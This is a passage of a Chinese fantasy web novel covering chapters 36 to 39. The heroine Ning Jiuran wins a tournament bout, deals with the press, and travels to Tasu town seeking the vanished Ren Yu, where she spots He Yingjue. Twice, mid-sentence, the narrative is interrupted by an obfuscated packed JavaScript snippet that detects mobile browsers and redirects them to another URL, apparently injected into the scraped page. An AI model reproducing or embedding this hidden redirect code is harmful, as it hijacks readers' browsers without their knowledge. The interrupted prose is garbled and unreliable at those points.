p>地狱领域内,宁九燃闭着眼睛,周身只有一层薄弱的神力堪堪挡下冤魂的侵袭,暗灰色的鬼爪几乎要碰到她的脸。 神天枢知道她的神力没剩多少了,这个领域能将她的神力活生生耗尽,但这不是他想要的——他要宁九燃死! 反正在这个领域内,他可以伪造成宁九燃是被心魔控制而自杀, 他在领域内凝聚出自己的本体,双手一撑,整个血色的领域开始沸腾,冤魂狂啸,所有的一切化作黑红的神力攻击,袭卷向闭着眼睛的宁九燃。 这是无尽地狱绘的终极形态——无尽审判。 从灵魂开始,彻底毁灭一个人。 神天枢疯狂地大笑着。 几乎是同一瞬间,“嗡——” 宁九燃睁开眼睛,红光掠过,嘴角弯起一个微小的弧度。 等到了。 在无尽审判裹上她的一瞬间,她单手燃火,毫不犹豫地掐入黑红的神力流。下一刻,狂燃的火焰以燎原之势迅速蔓延,反卷上整个黑红的神力流。 神天枢愣住了,但还没来得及开口,宁九燃冷冷的声音就在整个领域内响起: “神天枢,你做过噩梦吗?” 领域的四面八方都有火焰开始渗入,就好像……好像这个领域变成了宁九燃的。 神天枢头一次在自己的领域内生出了恐惧。 “神天枢,你杀过那么多无辜的人,后悔吗?” 什……什么? 神天枢猛的发现自己的双手在颤抖,他再次在攻击中加注神力,神力却好像被什么缠住,然后就与他断了联系。 一抬头,却看见宁九燃举起右手,整个领域的神力都蔓上了火焰,源源不断地聚向她的手心。 宁九燃的五官极其明媚漂亮,平时让人见了就想亲近。 但此刻她的眼里只剩冷漠与寒意,居高临下地审视着神天枢,好像那和善的外壳之下,血色荆棘里,本就是一柄见血封喉的寒刃。 “神天枢,披上人皮走在阳光下久了,忘了自己是谁了吗?” 神力汇聚完毕,无尽审判现在融到了宁九燃的手中。 这是她的天赋能力神融,从跟神天枢对战开始,她就在等他用出这一招。 “你有什么资格审判别人?”宁九燃抬手重重挥下,无尽审判和领域内所有被火焰渗透的神力纷纷涌向神天枢。 她的嘴角上勾,但没有一点温度。 “神天枢,你亲手打造的地狱审判,那你便亲自尝尝吧。” 领域外,主持人、观众还有双方的队员早就等得心焦,里面半天没有动静。 “不行,得叫停。”辰刻有些等不了了。 姜滚晁一把拉住他:“等等,等……你看!” 辰刻抬头,看见属于宁九燃的火焰从领域中心翻涌而出,领域从顶上瓦解,顿时消散殆尽。 而神力乱流消失后,所有人都看见了站在场地中间的宁九燃。 暗红的云散开,有阳光散落在她身上,长发被风吹扬,脸上的笑似乎也染上温度。 众人的目光下移,她脚下不远处,是倒在地上不省人事的神天枢。 主持人飞到场内检查后,升到高处宣布:“神枢代表队神天枢失去意识,平海分司代表队宁九燃胜!” “哇!!” “平海!平海!平海……” …… 观众席上不少人起身鼓掌欢呼,也有不少本来支持神枢的观众还在错愕中没反应过来。 宁九燃转身看向台下,偏头一笑。 辰刻和姜滚晁都冲她挥手,就连躺在那半身不遂的路嘲风也勉强撑起身,激动地吹口哨。 宁九燃刚准备下场,忽然感觉到什么,转身抬头看向高台上,那个最高的贵宾席上也有人正在看她,那身暗色勾纹的弑神者服饰格外扎眼。 赫应决慵懒地靠着,见她看过来,也不避开目光,继续大大方方地看着她,嘴角带着点复杂意味的笑。 这人什么时候来的? 宁九燃又看了他一眼,转身下台。 算了,管他呢。 37. 第37章 宁九燃下台后,林珰珰立刻上来给了她一个拥抱。 “九燃姐姐!你太厉害了!没有受伤吧?” “我没事,有事的是上面那个。”宁九燃看了眼从台上被抬下去的神天枢,心想:还是便宜他了。 观赛的人太多,她担心会被人察觉出九凤气息,就只用了火鹤神格,神力到后面确实没那么足。否则,神天枢那招中的杀机她能一比一地还给他。 路嘲风被送往神格医院后,宁九燃他们跟昨天一样从参赛者通道离开,却在媒体区遇到了无数翘首以盼的话筒——昨天还空空荡荡来着。 “你好,宁九燃,我是请神晚报的记者,想请问下你们战胜神枢代表队成为本届第一匹黑马,有什么感受吗?” “我是提灯专报的,可以谈谈你们是怎么战胜神枢代表队的吗?” “我是联邦赛事专栏的媒体,宁九燃可以分享下是如何破解神天枢的杀招的吗?还有你们对接下来赛程的展望是什么?” “你们有没有想对战败的神枢代表队说的话?” …… 当初平海记者会的阵仗跟现场的闪光灯和话筒数量相比,简直是小巫见大巫。 一群媒体你推我搡,话筒一个比一个递得近,宁九燃感觉自己但凡开口就有十几个话筒能塞进她嘴里。 她心想:这场面,路嘲风不在真是太可惜了。 林珰珰挽着宁九燃的手臂躲在她身后,姜滚晁上前两步想替她们挡点话筒,下一秒,一个想从上方突围的摄像头险些钻进他嘴里给他照个免费胃镜。 辰刻伸手拨开几个话筒,看向宁九燃:“队长,你说两句吧。” 宁九燃点头,上前一步,站到了一个被挤到角落的话筒面前,话筒上标着“大瓜报”,标签都做成了瓜的形状。 “你刚刚问的是,我们那位受伤的队员伤势如何,对吗?” 大瓜报的记者一愣。 作为一抓一大把的娱乐小媒体,他们本是没有资格进到内采区的,今天是恰巧有空位,他就抱着设备偷偷摸摸钻进来拍了些高人气队伍,想着赚点流量来挽救朝不保夕的运营,刚准备撤退,就被一窝蜂涌上去采访平海的记者挤到了前面。 看大家都拼了命地举话筒提问题,他便也在边角把话筒立出来,呜哩哇啦地也跟着说了两句,没想到一抬头,平海队的队长走到了他面前。 “对……对对!”大瓜报记者被这突如其来的幸运惊得卡了壳,忙捋顺舌头,“想请问……请问你们队那位队员的伤势如何?会不会影响接下来的比赛呢?” “我们的队员路嘲风有着非常强的集体荣誉感,即使在对手抱着报复心态的强势攻击下,依然不放弃,为平海队拿下了极为关键的两轮。”宁九燃看着镜头,神情带着真诚的担忧,“他的伤势确实有些严重,但好在得到了及时的治疗,不会影响接下来的比赛。” 辰刻在宁九燃发言的时候看了她一眼,听出了她发言的用意——制造舆论。 宁九燃是在替路嘲风出气。 “谢……谢谢!”大瓜报的记者还沉浸在激动中,连声说,“平海队加油!” 宁九燃看了眼面前的话筒,和上面比她脸还大的西瓜标签,笑了笑:“你们的媒体不错,就是名字……可以再正式些。” 说完,他们就趁其他媒体查看刚刚素材的间隙迅速从边上的通道离开。 大瓜报记者成了全场唯一幸运儿,在满场艳羡的眼神中心满意足地抱着设备离开,想着回去研究怎么改个更高端大气上档次的名字。 中午吃饭的时候,辰刻他们早早拿好了食物先去找位置了,宁九燃还在研究是吃芝士烤肉焗饭还是吃奶油蘑菇意面。 就在宁九燃快要得出这个世纪难题的答案时,有人在背后叫了她一声:“宁九燃。” 宁九燃叹了口气,在窗口厨师等待已久的眼神中转过身,就看见一张熟悉的圆润胖脸:“卢西安小少爷?你病好了?” 都说大病一场会形销骨立,这家伙怎么还越发圆润了呢? “早就好了!都是我哥不让我出门……”卢西安瘪起嘴,“谁让你叫我小少爷了?我已经十六岁了!” 这有什么……冲突吗? 宁九燃不跟小孩子计较:“行行行,卢西安大少爷,你有何贵干呀?” “卢西安。”身后响起一道沉稳的声音,身着家族服饰的卢西法跟着走了过来,冲宁九燃微微点头,然后对卢西安说,“忘了我让你来做什么了吗?” “记得,哥哥。”卢西安刚刚那股傲娇劲瞬间收了个干净,老老实实走到宁九燃面前鞠了个躬,拖着声,“宁九燃,谢谢你救我。我们诺克图尔都是知恩图报的,你有什么需要就跟我说啊。” 说完他就跟完成了任务似的绕到卢西法身后,背过身小声嘟囔:“哥哥不是都谢过了嘛……干嘛还非要我来……这么多人……” 宁九燃有些想笑,她知道这小少爷在别扭个什么。 她当时干扰卢西安记忆的时候,除了神格相关的记忆,其他的她都没动。帕拉帝安金尊玉贵的小公子,连哭带嚎地在她面前出了那么大的糗,换做是她,她估计也不太想来亲自见这个救命恩人呢。 “行了,你先出去回车上等。”卢西法对他说,又叮嘱了一句,“不可以去别的地方。” 卢西安蔫蔫地一点头,乖乖地出去了。 卢西法远远看着卢西安往停车的地方走去后,转过身微笑着说:“我们可以聊两句吗?” 宁九燃点头:“当然。” 两人一起走到边上的隔间座位坐下。 卢西法开口:“宁九燃,我看了你早上的比赛,你很厉害。” “能得到帕拉帝安继承人的肯定,我很荣幸呀。”宁九燃把桌上摆放的茶盘挪过来,倒了杯茶喝了口,“不过卢西法少爷,不是特地来夸我的吧?” “叫我卢西法就好。”卢西法淡淡一笑,看着宁九燃,“我是想来提醒你,神天枢这个人度量很小,也不太简单,他今天输的难看,你和你的队友多注意安全。” 宁九燃抬眼看他,心里有些意外。 在她看来他们现在也没什么交情,卢西法居然会特意来提醒她。 “我知道了。”宁九燃举起茶壶又倒了一杯,放在卢西法面前,“谢了,卢西法。” 卢西法看了眼茶杯,顿了顿,也端起来抿了口。 “我还以为你是欣赏我,代表家族来招募我呢。”宁九燃将茶一饮而尽,半开玩笑半认真地说。 卢西法看着她,语气自然地接话:“你很有天赋,家中长老确有此意。但是加入帕拉帝安就意味着你不能再为平海代表队参赛,我想你不会愿意的。” 宁九燃微微挑眉:“你这么肯定?” 卢西法的仪态非常好,一举一动都如礼仪教科书般优雅,浑身上下透出的矜贵让人仰慕,但更让人疏离,这是宁九燃到目前为止对他的全部印象。 但下一刻,卢西法却露出与平时完全不同的微笑,依然优雅但好像又没那么远的距离。他笑着对宁九燃说:“不是肯定,是我的直觉。我相信我是对的,宁九燃,我很期待在赛场上遇见你,这次不是客套话。” 说完,他起身对宁九燃点了下头:“不耽误你用餐了,再见。” 宁九燃看着他离开的身影,若有所思。 卢西法,帕拉帝安继承人,好像跟我想的有些不一样,或许也可以成为我实现目标的助力…… 宁九燃聊完天之后,发现自己对焗饭和意面的热情转瞬即逝,感慨了下自己真是善变后,去窗口点了一份牛排。 她找到辰刻他们的时候,他们已经吃的差不多了。宁九燃就让他们先去医院看看路嘲风,自己吃完饭就跟过去。 宁九燃做什么事都干脆利落,甚至有的时候称得上雷厉风行,如果非要找出一个慢的点,大概就是她的吃饭速度了。 宁九燃长这么大,从来没有遇见过吃饭比她慢的人,别人五口就咽下去的,她得嚼十五口。照唐宛芬的话说,她如果吃的低卡些,摄入的能量还不一定能抵足消耗的能量。 所以等宁九燃吃完饭离开餐厅,已经错过了专列发车的高频期,距离下一趟经过神格医院的专列抵达还有十五分钟,她就在上车点坐下。 刚坐下没到三分钟,一个通讯打来——是包吉利。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776651|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁九燃点了接听:“包老板,昨天才打过通讯,又有什么买卖要跟我做吗?” 包吉利没有立刻说内容,而是低着声:“你边上没人吧?” 宁九燃点了下个人终端的边缘,一个轮廓状的虚影浮到她耳侧:“别上没人,现在只有我能听见,你说吧。” “你之前让我查的关于前任弑神者司道的消息,有眉目了。”包吉利说,“你知道照世计划吗?” “听说过,就是二十几年前请神司主司牵头的那个半保密计划,全联邦挑选出五十名神格觉醒的孩子,由请神司举全司之力培养,出了很多了不起的提灯人。”宁九燃应道,“当时好像是因为伪神教比较猖獗来着。” “对,司道也在这个照世计划中。”包吉利说,“我顺着这个线索查下去,发现照世计划在十年前的提灯人大赛后正式结束,也只有十七人留到了最后。其中六人在主司做提灯人,地位非常高,八人分散到四大家族中被奉为座上宾,这都很正常。但有一位名叫任聿的,在做了一年的神使之后突然请辞,然后彻底销声匿迹。” “做了神使还请辞?”宁九燃绕到上车点的边角,低声说。 “对啊,多少提灯人的最高理想,她说放弃就放弃了。”包吉利继续说,“所以我就从她入手一直在查,她消失的时间太长,信息少得可怜,我几乎动用了整个情报网,就在刚才得到了一点信息。” “什么?” “大概一个多小时前,任聿在梵塞卓斯辖区的一个名叫塔苏的小镇出现了。” 宁九燃有些惊讶:“消息传这么快?你确定吗?” “我可以肯定。因为我的线人在塔苏看见了圣使天羽的落羽痕迹,圣使天羽就是任聿羽皇神神格的神骨,她的落羽痕迹被称为联邦十大最美神力痕迹之一,神格会重复但神骨不会,所以不可能被认错。”包吉利肯定地说,又补充道,“如果你想通过她去查司道的消息的话,你最好尽快去,不然说不好她下次出现会是什么时候。” 梵塞卓斯辖区,塔苏镇…… 宁九燃应声:“知道了,谢了包老板,雾中草到时候跟上条信息一块结。” 包吉利答应着,想了想还是没忍住开口问:“你这小丫头费这么大劲查前任弑神者到底是为什么?我要没记错的话,你俩是半点联系都没有。” 宁九燃圆滑地避开这个问题:“吉利老板,你之前不是说咱俩互不打听秘密的嘛?” 包吉利在那头哼了声,闷闷地说:“行啦,你这小丫头别的都好,就是记仇。你要是去了跟我说一声,我让我的人在那边接应你。” “行。”宁九燃说,忽的又问,“包老板,你刚刚说十七人,去掉那知道去向的十四人,还剩三人。除了司道和任聿,还有个是谁?” “你偶像。” “啊?” “就是现任弑神者赫应决啊。” 宁九燃沉默了两秒,相当无语地开口:“包老板,这个玩笑一点都不好笑。” 包吉利彻底笑出声:“这不是你自己说的嘛?采访视频网上到处都是呢。” 宁九燃:“……” 当初失策了,她现在觉得有点亏了…… “行啦,店里来客人了,不聊了啊。”包吉利说。 挂了通讯后,宁九燃在原地琢磨了会,就看见专列远远开过来。 她刚准备上前,却感到身后有一丝熟悉的神力波动,转过身,一片不知从哪飘来的叶子正正好落在她的脚边。 叶子蜷曲着,在阳光下遮出了一个小小的阴影,阴影微微流动。 宁九燃蹲下捡起那片叶子,叶子的背面被划出几个极小的字: 三月将到,勿忘期限。 进不来请神城,借助影子在叶子上刻字,不用猜都知道是暗沼那个烦人的东西。 人进不来,神力却可以这样鬼鬼祟祟地进来,这个暗沼到底是位居护法有两下子,只不过更烦人了。 宁九燃把叶子捏在掌心用火燃尽,不知觉间列车已从她身后开过。 她看着掌心消散的灰烬,心想:三月之期确实快到了,她还没有能拿得出的信息。看来,这个任聿是非找不可了。 38. 第38章 “放过我!我再也不会用特能害人了,放过我!”被追至楼顶的男子跪在地上磕头如捣蒜,他看着十分狼狈,左臂和右腿都有沉水弹的中弹痕迹,鲜血浸透了破口的衣服,“不要杀我……不要杀我……我还有家人……” 几个追到顶楼的提灯人围上来,其中一个把沉水枪插回腰间,对身边人说了句:“传讯给弑神者大人,说人我们抓住了。” 然后他上前几步看着男子,皱眉道:“在审判之前,我们不会处决你。现在知道惦记家人了?杀人的时候怎么不想想呢!” “我错了我错了……我错了……”男子在地上缩成一团,眼泪鼻涕一块落。 “行了!”提灯人呵了声,转过身不想看大男人哭得乱七八糟,勾勾手示意跟在身后的两人去把他控制住,等直升飞机过来押送。 但就在他转身的一瞬间,刚还哭得抽搐的男子身体忽的一僵,再抬起头,那双哭得红肿的眼里陡然冒出黑气,黑色脉络爬上脸侧,手中神力聚拢,数条鬼藤直刺背过身的提灯人。 “组长小心!”正准备上前的提灯人大喊,举枪对着男子连发五枚沉水弹,沉水弹穿过鬼藤击中男子,可男子就像没知觉一般,无数鬼藤拔地而起。 “怎么会!明明被沉水弹打中,怎么还能使用这么多神力!”被叫做组长的提灯人迅速转身后撤,但还是被鬼藤刺穿了小臂。 另一个提灯人用神技击碎部分鬼藤,看清男子的脸后惊道:“组长!他是污染者!” 组长连退数步,将几个组员挡在身后,神色凝重。 这个男子是四重神相,他们几个对付起来本没难度,但他如果是吸收了黑雾的污染者,实力就完全无法预估了。 男子又释放无数鬼藤,趁几人抵挡之时想借机从楼边用鬼藤往下荡,刚将鬼藤绕在手上,一道玄黑色的长鞭当空甩下,将男子抽出数米远,光是神力余波就震碎了所有的鬼藤。 赫应决站在黑红的机械羽翼上,收回长鞭龙脊,冷眼看向楼顶上的几个提灯人:“这就是你们说的……抓住了?” 两个提灯人急忙上前给男子拷上沉水镯,将他控制住。 组长低着头走到楼顶边缘,靠近赫应决:“抱歉大人,本来我们已经用沉水枪限制了他的神力,不知道为什么他还能用出神技,而且此前我们没发现他是污染者,所以轻敌了。” 污染者? 赫应决看向被按在地上的男子,眼神微动。 又是污染者?最近四大家族辖区上报污染者事件的次数明显增多,上次开赛前还出现了伪神教徒围截参赛选手列车,释放黑雾污染的事件…… 伪神教是想干什么? “大人,那我们先将他押回主司了。”组长看见直升机抵达,恭敬地对赫应决说。 “等等。”赫应决微微抬手,眼中红光掠过,被压在地上的男子猛的发出撕心裂肺的惨叫,四肢仿佛被无形的力量扭住,然后生生折断。 “我断了他的神脉,虽然说无法再用出神技,你们也谨慎些。” 等直升机离开,凤凰的机械眼忽的一亮,随即开口:“大人,您要找的任聿有消息了。” “什么?”赫应决有些意外。 任聿消失了九年,他虽然一直在找她,但始终没有任何消息,就像彻底人间蒸发了一般。 “我的智眼系统遍布联邦,就在两个小时前捕捉到了专属于任聿神骨的神力痕迹,但是因为那个小镇系统老化,所以现在才收到信息。” 凤凰投出一个光屏画面,画面中是一座尖顶圣堂,尖顶的光珠被金光白羽的神力痕迹萦绕,吸引无数白鸽盘旋飞舞。 “没错,是她。”赫应决认出了这个熟悉的神力痕迹,“这是哪里?” “梵塞卓斯辖区,塔苏镇。” 宁九燃推门进病房的时候,正看见路嘲风眉飞色舞地跟来给他换药的医护讲自己的英勇表现,缠着绷带的手比没折的还灵活,时不时还要问一句坐在边上的林珰珰:“铃铛妹妹,我说的对吧?” “路嘲风,看你这架势,明天就能出院吧?”宁九燃关上门,走到他边上调侃道。 “铃铛妹妹妙手回春,我感觉自己都差不多好了。”路嘲风跟个机械人似的晃了晃四肢,“今晚就能出院。” “不可以,你的内伤重,至少要后天。”医护连忙按住那只受伤的手,生怕他又把刚缠好的绷带挣脱了。 “听见没?老实呆着吧。”辰刻上来几步帮医护把路嘲风按回去,“别活蹦乱跳的。” “你们是他的朋友吧,我们是有专属的人工智能陪护的,但像他这种——”医护看了眼路嘲风,换了个委婉的词,“这种精力比较旺盛的病人,如果想让他好好养伤,你们最好能出一个在这里陪他。” “好的,谢谢。”宁九燃对医护礼貌地点点头。 医护却突然顿住,然后语气有些激动地说:“你是……宁队长吗?” 宁九燃:“啊……对。” 医护是个年轻的女孩,此时涨红了脸,眼睛亮晶晶地看着宁九燃,有些无语伦次:“我我我……我上午看了你的比赛!你真的好厉害……超级帅啊!我那个……那个……呼……我很喜欢你!我们……那个……可以合张影吗?” 宁九燃反应过来了:“当然可以。” 医护喜出望外,连忙打开个人终端的照相功能,然后站到宁九燃身边,宁九燃配合地靠近她微笑。 合完影后,医护开心地连连道谢,又说了很多支持宁九燃的话。 路嘲风忍不住插嘴:“医护妹妹,你不带这样的,燃姐是帅,我也不丑吧!刚刚跟你说了这么久,你还说对大赛不感兴趣来着。” “那是人家觉得你太吵了。”辰刻在边上适时地冷嘲热讽。 等医护离开后,宁九燃的个人终端又收到信息,打开一看,是明天对手的退赛信息。 她看着页面上的时间表,明天不用打比赛,后天本来就没有赛程,那就刚好空出两天时间。 天赐良机。 宁九燃清了清嗓子,上前投出赛程屏幕:“我们明天的对手退赛了,所以我们接下来三天只有一场比赛,对手中等水平,比神枢差得远。” “退赛?”路嘲风直起腰看向屏幕,“我们太强了?把他们吓跑了?” “你这么理解也行。”宁九燃勉强认可了下这句话,总体意思还是对的,顿了顿,继续说,“我有件事想跟大家商量,我想离开两天。” “你怎么了?”本来靠在墙上的辰刻闻言,立刻上前问。 “我有个……找了很久的人,突然出现了。”宁九燃组织了下措辞,慢慢说,“她对我来说很重要,我现在不去找她,下次就不知道是什么时候了。” “什么人啊燃姐?需要我们帮你一块找吗?”路嘲风忙问。 “不用,我可能……没法跟你们解释得很清楚,因为说实话我自己都不是很清楚。”宁九燃垂眸,“但我如果离开,大后天的比赛就得靠你们四个人了,所以,我想征求一下你们的意见?” “我同意。”辰刻最先出声,“你放心,有我在不会输的。” 宁九燃扭头,正好对上了辰刻的眼神。 “我也没问题,燃姐这么说了肯定是很重要的事,放心去吧燃姐!”路嘲风举起那只完好的手,“上场的话,我保底拿两分!” 林珰珰和姜滚晁也跟着应声。 宁九燃笑了:“谢啦大家!我今晚就会出发。在下下场比赛开始之前,我一定会回来,你们注意安全。” 接着,几个人就提前开始研究接下来的训练和作战计划。 中途宁九燃出去取了个外卖,辰刻也跟了出来。 宁九燃问:“怎么了?” 辰刻跟她并排走着:“宁九燃,你要找的人跟你身体出的问题有关,对吗?” 宁九燃有点惊讶于他的敏锐,但也没避开回答:“对。” 毕竟她曾经用金色裂纹打消辰刻对她的怀疑,辰刻会这么问也不奇怪,他就算再问下去,她也已经编好理由应对了。 但辰刻却没有再问,只是说:“好,你多注意安全,有事随时联系。” 宁九燃有些意外,但也没继续说。 晚上,宁九燃简单收拾了一个背包,又把一些重要的东西放进储物的手链中,然后联系了赛事主办方,以家中急事的理由拿到一次性的出入城证明。 准备好一切后,宁九燃就坐上了通往梵塞卓斯的一班高速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791442|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 专列。 梵塞卓斯离请神城相对较远,需要坐6个小时的高速专列。塔苏镇较小,没有直达的专列,下车后还得换交通工具,到那可能要第二天了。 宁九燃的座位靠窗,她就将头靠在玻璃上,慢慢眯上眼睛。 “老师,我今天做的好吗?” 一个带着点撒娇意味的女孩声响起,好像在等待夸奖。 “很好,你现在已经是他们中间最强的了。” 温和的男声回应着,语调中甚至有些慈祥。 宁九燃还没看清那个被称作“老师”的人的脸,画面就切换了,面前好像还是那个“老师”,他身形高瘦,但依然看不清脸。 宁九燃听见“自己”发出很沮丧的声音:“老师,为什么他不愿意见我呢?我这么努力,他甚至不愿意叫我一声名字?” 面前的“老师”伸出手,轻轻摸了摸“自己“的头,似乎在安慰她:“没事,老师在,老师会一直在你身边。我们是家人……” 宁九燃有预感他下一秒就要喊出“自己”的名字了,但这时画面又瞬间模糊,无数画面在眼前疯狂交错,耳边嗡嗡响,就好像有什么在疯狂地搅拌着,撕扯着。 “宁女士,宁女士……” “呼——” 宁九燃猛的惊醒,发现自己竟不知什么时候睡沉了,旁边站着列车员正在轻轻叫着她。 又做梦了。 列车员见她醒了,微笑着轻声说:“宁女士,您马上就要到站了,这边看您正在熟睡,就来提醒您一下。” 竟然过去这么久了? 宁九燃冲她点点头:“谢谢。”然后拿好背包准备下车。 五分钟后专列到站,宁九燃下车之后又乘一个多小时的空中轨道,终于抵达了塔苏镇。 塔苏镇跟大部分城镇不同,它位于梵塞卓斯辖区的边缘,挨着一大片原态森林。 城镇的风格也不是光怪陆离的科技化,而是偏复古风,所有的建筑都不高,甚至还有许多木质建筑,在街道上走着有一种慢节奏的舒适感。 宁九燃绕进了街头的一个森系主题酒吧,刚在台边坐下,一个抱着大吉他的炸毛头青年就靠了过来,在震耳的音乐中低声说:“你是包爷的朋友吧?” 宁九燃打量了他一眼,点头。 炸毛头从吧台里拿了杯鸡尾酒递给她,然后说:“痕迹是在圣堂那边出现的,我一会带你去,机甲车和酒店我都给你准备好了,都是假身份弄的,你放心用。”说着,他又掏出车钥匙和房卡。 宁九燃推开酒,拿过车钥匙和房卡:“不喝酒,谢谢,你现在方便带我过去吗?” 炸毛头四周看看,把吉他一放:“行,走,这会那边刚好人少。” 炸毛头带着宁九燃拐过数个路口,停在了城镇中心的尖顶圣堂前。炸毛头指着圣堂的尖顶:“就那,早上就是在这出现的,下午痕迹还很明显呢,鸽子都绕着飞,现在散的差不多了。” 宁九燃四处看看,附近楼房很少,视野空阔。 “你早上有看见什么特别的人吗?” “没有,我应该算是比较早发现的,那会儿这都没人。圣堂每个月就开放一天,平时没什么人来,要是有人出现应该是显眼的。”炸毛头说。 “行。”宁九燃点点头,对他说,“你回去吧,我自己转转,有事我会去酒吧找你的。” 炸毛头提醒她晚上注意安全,然后就回酒吧了。 宁九燃绕着圣堂转了两圈,天还没亮,也没什么人。 算了,天亮了再继续查吧。 宁九燃按照炸毛头给的定位准备往酒店走,刚走出两步,就有人同她擦肩而过。 圣堂附近没什么灯光,看不太清来人,所以才会挨这么近擦过。 这人身形修长,穿着长款风衣,带了个压低的帽子,走得非常快。 宁九燃在来之前戴了虹膜膜片更替身份信息,膜片自带一定的夜视功能,所以即使只是飞速的擦过,宁九燃还是看清了那人的侧脸——非常熟悉的侧脸。 人已经走远,但宁九燃站在原地半天没动,不可置信地复盘自己的刚刚看到的画面。 “赫应决?” 他为什么会在这里? 39. 第39章 赫应决似乎着急在找什么,加上天色昏暗,看起来并没有认出她来。 宁九燃没在原地继续停留,匆匆回到炸毛头帮她预定的酒店。 到酒店安顿下来已经快凌晨两点了,大概是刚刚在车上睡过,宁九燃没有半点睡意。 她打开房间里提供的冰箱,拿了杯酸奶,又撕开包芒果果酱倒进去搅拌了下,然后坐到桌子面前准备理理思路。 宁九燃拿着笔在手写屏幕上写下“任聿”,打了个箭头写下“照世计划”,再打个箭头写下“司道”,在任聿下面写“9年前消失”,“司道”下面写“8年前死亡”。 想了想,宁九燃又在边上写下“赫应决”,然后打了个问号。 “赫应决为什么会来这?明明早上还在请神城……”宁九燃捏着小勺子把芒果粒配着酸奶送进嘴里,把酸奶挖到见底时手中一顿,“他不会……也是为了任聿来的吧?” 宁九燃放下勺子,点开个人终端拨给包吉利,接通后直截了当地说:“包老板,帮我查下赫应决和司道之间所有的联系,包括他们是怎么认识,不同时间段的关系如何,还有……还有司道死后赫应决的反应变化之类的,要快还要全!” 包吉利在那头安静了半天,幽幽地说:“宁九燃,你知道现在是几点吗?你还记得我是个即将步入老年的中年人吗?” 他半夜睡得正香,被宁九燃一个通讯打醒,然后叽里咕噜听了一堆要求,脑壳都是糊的。 “不好意思啦包老板!我加价好吧,三株雾中草,加个急嘛!”宁九燃不给他拒绝的机会,“最好一个小时内能给我,谢啦谢啦!” 包吉利:“……你给我等着。” 这话听着内涵怪丰富的。 宁九燃干笑两声,然后挂掉通讯等资料。 四十分钟后,宁九燃收到了包吉利发来的文件,点开一看:“这么多?” 包吉利边打瞌睡边说:“对啊,当年他们一块参赛那会曝光度挺高的,所以很多事情都被挖出来了,有些信息不算难找。实话说啊,整一个农夫与蛇的故事,我算是知道赫应决作为弑神者为什么风评跟司道大人天差地别了。” 宁九燃:“农夫与蛇?” 包吉利说:“唉就是赫应决能走到今天这一步离不开司道,但是呢他又……说来话很长啊,你自己看吧,我真得睡了,给我一百株雾中草我都得睡了,心率都不齐了,小丫头,以后大晚上不是人命关天别吵我啊……” “知道啦,谢谢啦。”宁九燃挂了通讯,认真地看起资料来。 赫应决,梵塞卓斯前任家主之子,七岁时父亲身故,由于他年纪太小且还没有觉醒神格,所以梵塞卓斯由他父亲的弟弟掌管。 十三岁时母亲身故,同年觉醒神格,但却不是梵塞卓斯的主系神格雷泽龙,而是与他母亲相同的烛龙神格。也还是在十三岁,他被选为家族代表进入照世计划。 也就是说,他跟司道十三岁就认识了。 包吉利在边上标注:父亲死于伪神教之手,母亲死因对外宣称是病故,不可信。 烛龙神格一直都是辅助类神格,通过干扰时间来帮助队友攻击,本身的攻击能力非常弱。所以,赫应决刚进照世计划的时候过的并不好。 但一年后,司道主动选择与他搭档,原因未知,只是从那以后,赫应决就跟开窍了一般,竟练成了其他烛龙神格从未出现过的强攻击能力,扭转了这个神格千年来的辅助地位。 包吉利标注:司道是绝对的神格天才,从小就被当作未来的弑神者培养,很有可能是她点拨了赫应决,但实情如何只有当事人才知道了。 宁九燃继续往下翻,一张照片就印入眼帘。 背景是请神司的训练基地,女孩长得极其明艳,骨子里透出一股清冷高贵的气质,长发自然卷的尾部被染成鲜艳的红,正冷眼瞥向镜头。 无论是谁看,第一眼绝对会被狠狠的惊艳。 这是15岁的司道。 而跟在她身后推着训练箱的人,正是15岁的赫应决。 宁九燃把光屏放大了些。 赫应决推着的训练箱上标的是他的名字,但箱子上放的白色训练包却标的是司道的名字,他的手上还拿了件明显不是他尺寸的训练服外套,露出的一角上有个“司”字。 包吉利标注:这张照片可经典,当初他俩参赛吸粉无数,超多人借着这张照片磕他俩青梅竹马。 磕cp? 宁九燃又把照片放大细细打量了下,认同地点点头。 好看得势均力敌,站在一起确实相当养眼,东西放的还这么亲昵,我要是闲的没事也能磕一口。 “赫应决这人——”宁九燃看着照片上的赫应决,“小时候就长得这么好看。” 15岁的赫应决已经俊逸非常,甚至还有几分青涩,提灯人训练制服笔挺地穿在身上,有种说不出的吸引力。 而那双清冷深邃的眼睛似乎带着雾蒙蒙的忧郁,让人…… 宁九燃深吸了口气,感慨道:“让人更心动了。” 美色归美色,还是正事重要。 宁九燃抵抗诱惑,把那张照片划走,继续往下看。 15岁时两人的关系就非常密切,16岁到18岁有的几张照片中二人几乎形影不离。 18岁时,请神司主司正式公布当年主司参加提灯人大赛的参赛名单,司道与赫应决互选组队。 包吉利标注:以前的大赛都是两人为一队,但是那届司道与赫应决的组合强到离谱,别的队伍几乎毫无还手之力。所以那届之后,请神司主司更改参赛规则,五人为一队,借助人数的改变增加比赛的可能性。 “啧,天选组合。”宁九燃看了眼他们当时的战绩,可以说站上台的那一刻对手就没有胜算了。 资料里还附了好几张赛场照片,以及他们最后站在最高领奖台由司主亲自颁奖的照片。 意气风发,风光无限。 